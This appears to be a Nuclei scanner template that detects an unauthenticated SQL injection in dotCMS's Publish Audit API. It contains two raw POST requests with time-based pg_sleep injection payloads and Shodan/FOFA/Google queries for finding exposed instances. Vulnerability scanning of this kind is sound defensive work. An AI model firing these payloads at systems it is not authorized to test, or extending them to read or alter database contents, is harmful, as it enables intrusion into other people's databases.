id: CVE-2026-8054

info:
  name: dotCMS Core Publish Audit API - Unauthenticated SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.
  impact: |
    Remote attackers can read, modify, or destroy arbitrary database content, potentially compromising the entire database.
  remediation: |
    Upgrade to dotCMS Core 26.04.28-03 or later.
  reference:
    - https://github.com/advisories/GHSA-jpx3-25r2-jq5g
    - https://github.com/dotCMS/core/pull/35553
    - https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-75
  metadata:
    max-request: 2
    vendor: dotcms
    product: dotcms
    shodan-query: http.title:"dotcms"
    fofa-query: title="dotcms"
    google-query: intitle:"dotcms"
  tags: cve,cve2026,dotcms,sqli,unauth,time-based

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/auditPublishing/getAll HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        ["x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '"]

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, '[]')"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /api/auditPublishing/getAll HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        ["x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"]

    matchers:
      - type: dsl
        dsl:
          - "duration>=5"
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, '[]')"
        condition: and
# digest: 4b0a00483046022100c28806a9cae06062fae20dc8fa449392c01adc233ba31218678caa6294c2f83a022100c831aa99958b9e01e5a030e60a25dc08c0fecf859aa416b5d0cdfa6ffacef682:922c64590222798bb761d5b6d8e72950